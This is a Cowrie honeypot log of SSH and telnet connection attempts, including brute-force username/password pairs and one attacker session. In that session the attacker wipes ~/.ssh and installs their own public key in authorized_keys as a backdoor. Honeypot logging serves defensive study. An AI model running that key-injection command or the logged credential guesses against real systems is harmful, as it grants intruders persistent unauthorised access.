{"eventid":"cowrie.session.closed","duration":5.210337400436401,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.589690Z","src_ip":"38.54.119.93","session":"c5a1fecfc250","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.651753Z","src_ip":"176.65.132.254","session":"3e984af98a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.38296031951904,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.661929Z","src_ip":"62.210.97.77","session":"ba7d51ba52e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52358,"dst_ip":"10.17.0.5","dst_port":23,"session":"a20b209ad6bc","protocol":"telnet","message":"New connection: 62.210.97.77:52358 (10.17.0.5:23) [session: a20b209ad6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.837657Z"}
{"eventid":"cowrie.session.closed","duration":38.16123104095459,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.882597Z","src_ip":"62.210.97.77","session":"982cf321d217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.51387047767639,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:53.899857Z","src_ip":"62.210.97.77","session":"a89eb3cd0b3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914969205856323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:54.107665Z","src_ip":"136.144.139.78","session":"2b46f1ee2580","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:54.447822Z","src_ip":"176.65.132.254","session":"3e984af98a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b6fdbe420a","protocol":"telnet","message":"New connection: 65.60.27.33:48384 (10.17.0.5:23) [session: 70b6fdbe420a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:54.775497Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48532,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc0d8d740179","protocol":"telnet","message":"New connection: 65.60.27.33:48532 (10.17.0.5:23) [session: fc0d8d740179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:54.950705Z"}
{"eventid":"cowrie.session.closed","duration":37.87491726875305,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:54.990627Z","src_ip":"62.210.97.77","session":"3471d72ee14e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48606,"dst_ip":"10.17.0.5","dst_port":23,"session":"afdb8a582fb9","protocol":"telnet","message":"New connection: 65.60.27.33:48606 (10.17.0.5:23) [session: afdb8a582fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:55.049975Z"}
{"eventid":"cowrie.session.closed","duration":30.679364919662476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:55.238812Z","src_ip":"136.144.139.78","session":"2e4d7f80849f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:55.546044Z","src_ip":"176.65.132.254","session":"3e984af98a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52372,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e32215f6b07","protocol":"telnet","message":"New connection: 62.210.97.77:52372 (10.17.0.5:23) [session: 6e32215f6b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:55.607192Z"}
{"eventid":"cowrie.session.closed","duration":37.86854314804077,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:55.753936Z","src_ip":"65.60.27.33","session":"5b6c0d2292c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52388,"dst_ip":"10.17.0.5","dst_port":23,"session":"f538653f6a93","protocol":"telnet","message":"New connection: 62.210.97.77:52388 (10.17.0.5:23) [session: f538653f6a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:56.784735Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33649,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a7dc1c4237","protocol":"ssh","message":"New connection: 190.129.122.12:33649 (10.17.0.5:22) [session: 69a7dc1c4237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:56.931852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:56.936393Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:57.118995Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52400,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd8b0ba0be0","protocol":"telnet","message":"New connection: 62.210.97.77:52400 (10.17.0.5:23) [session: 8bd8b0ba0be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:57.659062Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35862,"dst_ip":"10.17.0.5","dst_port":22,"session":"890875ac79ba","protocol":"ssh","message":"New connection: 176.65.132.254:35862 (10.17.0.5:22) [session: 890875ac79ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:57.747162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:57.751169Z","src_ip":"176.65.132.254","session":"890875ac79ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:57.838084Z","src_ip":"176.65.132.254","session":"890875ac79ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Root1234","message":"login attempt [oracle/Root1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:57.851947Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52416,"dst_ip":"10.17.0.5","dst_port":23,"session":"444809631d1d","protocol":"telnet","message":"New connection: 62.210.97.77:52416 (10.17.0.5:23) [session: 444809631d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:57.918082Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:58.239537Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:58.242886Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:58.245814Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:58.423520Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:58.645813Z","src_ip":"176.65.132.254","session":"890875ac79ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:58.818658Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:58.821964Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.002840Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.005942Z","src_ip":"190.129.122.12","session":"69a7dc1c4237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17260,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7006504b238","protocol":"ssh","message":"New connection: 190.129.122.12:17260 (10.17.0.5:22) [session: b7006504b238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.175891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.179838Z","src_ip":"190.129.122.12","session":"b7006504b238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.355813Z","src_ip":"190.129.122.12","session":"b7006504b238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.20866870880127,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.731802Z","src_ip":"62.210.97.77","session":"08e4769f12ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.740279Z","src_ip":"176.65.132.254","session":"890875ac79ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.145230054855347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:59.841631Z","src_ip":"136.144.139.78","session":"de4c56244842","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:00.092602Z","src_ip":"190.129.122.12","session":"b7006504b238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.272666Z","src_ip":"190.129.122.12","session":"b7006504b238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17261,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e0f8fd38b1","protocol":"ssh","message":"New connection: 190.129.122.12:17261 (10.17.0.5:22) [session: b7e0f8fd38b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.435321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.440060Z","src_ip":"190.129.122.12","session":"b7e0f8fd38b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.607714Z","src_ip":"190.129.122.12","session":"b7e0f8fd38b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52458,"dst_ip":"10.17.0.5","dst_port":23,"session":"784758105b2d","protocol":"telnet","message":"New connection: 62.210.97.77:52458 (10.17.0.5:23) [session: 784758105b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.819100Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52466,"dst_ip":"10.17.0.5","dst_port":23,"session":"f610bb0b2ee5","protocol":"telnet","message":"New connection: 62.210.97.77:52466 (10.17.0.5:23) [session: f610bb0b2ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.844748Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35870,"dst_ip":"10.17.0.5","dst_port":22,"session":"c30b84d97b87","protocol":"ssh","message":"New connection: 176.65.132.254:35870 (10.17.0.5:22) [session: c30b84d97b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.959036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:01.991101Z","src_ip":"176.65.132.254","session":"c30b84d97b87","protocol":"ssh"}
